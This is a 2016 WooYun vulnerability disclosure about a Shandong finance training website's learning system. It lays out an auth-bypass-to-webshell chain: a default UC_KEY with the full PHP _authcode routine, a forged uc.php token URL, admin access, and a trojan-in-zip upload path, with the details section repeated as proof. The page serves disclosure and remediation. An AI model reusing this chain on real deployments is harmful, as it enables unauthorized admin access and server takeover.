当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0168065

漏洞标题:山东财政干部教育网接口问题+Getshell(影响内网)

相关厂商:山东财政干部教育网

漏洞作者: 艺术家

提交时间:2016-01-08 20:52

修复时间:2016-02-22 16:48

公开时间:2016-02-22 16:48

漏洞类型:文件上传导致任意代码执行

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-08: 细节已通知厂商并且等待厂商处理中
2016-01-12: 厂商已经确认,细节仅向厂商公开
2016-01-22: 细节向核心白帽子及相关领域专家公开
2016-02-01: 细节向普通白帽子公开
2016-02-11: 细节向实习白帽子公开
2016-02-22: 细节向公众公开

简要描述:

山东财政干部教育网接口问题+Getshell(影响内网)

详细说明:

mask 区域
******.*******


1.jpg


在线人数还挺多的。
0x0
/lms/api/uc_config.php 其中的UC_KEY值是一个默认值,那就可以用UC的接口去登陆
登陆脚本查看UC 统一的KEY解密函数

function _authcode($string, $operation = 'DECODE', $key = 'zlms@**.**.**.**', $expiry = 0) {
$ckey_length = 4;
$key = md5($key);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc.str_replace('=', '', base64_encode($result));
}
}


KEY固定值为:define("UC_KEY", "zlms@**.**.**.**");
那么生成一下:
**.**.**.**/lms/api/uc.php?code=353etSSAKUxHGQOKjxuiSuGJ1wlD1YQuNPHoUcASALEGO45W9ZnoTWMVbQnumVVjJVjPeChxYrMyF%2Fjvlx77s9l%2BXp4eDNa9aWEpzMuyrH0
再访问**.**.**.**/lms/?c=Admin.Index&m=admin_main
就已经登陆进后台了。
拿shell
打开:资源管理->知识管理->新增知识库内容

2.jpg


到第二步随便填,第三步叫你上传压缩包,
新建一个压缩包 然后新建一个目录,在目录里放入木马文件就可以了。
再到前台首页去查看文章

3.jpg


4.jpg


点击一下就OK了。上传的文件为
**.**.**.**/czt_lms_data/czt_lms_file/storage/attachment/kb/29/n_n.php
发现在内网,影响内网安全

5.jpg

漏洞证明:

**.**.**.**/lms/

1.jpg


在线人数还挺多的。
0x0
/lms/api/uc_config.php 其中的UC_KEY值是一个默认值,那就可以用UC的接口去登陆
登陆脚本查看UC 统一的KEY解密函数

function _authcode($string, $operation = 'DECODE', $key = 'zlms@**.**.**.**', $expiry = 0) {
$ckey_length = 4;
$key = md5($key);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc.str_replace('=', '', base64_encode($result));
}
}


KEY固定值为:define("UC_KEY", "zlms@**.**.**.**");
那么生成一下:
**.**.**.**/lms/api/uc.php?code=353etSSAKUxHGQOKjxuiSuGJ1wlD1YQuNPHoUcASALEGO45W9ZnoTWMVbQnumVVjJVjPeChxYrMyF%2Fjvlx77s9l%2BXp4eDNa9aWEpzMuyrH0
再访问**.**.**.**/lms/?c=Admin.Index&m=admin_main
就已经登陆进后台了。
拿shell
打开:资源管理->知识管理->新增知识库内容

2.jpg


到第二步随便填,第三步叫你上传压缩包,
新建一个压缩包 然后新建一个目录,在目录里放入木马文件就可以了。
再到前台首页去查看文章

3.jpg


4.jpg


点击一下就OK了。上传的文件为
**.**.**.**/czt_lms_data/czt_lms_file/storage/attachment/kb/29/n_n.php
发现在内网,影响内网安全

5.jpg

修复方案:

版权声明:转载请注明来源 艺术家@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2016-01-12 14:53

厂商回复:

CNVD确认所述情况,已经转由CNCERT下发给山东分中心,由其后续协调网站管理单位处置.

最新状态:

暂无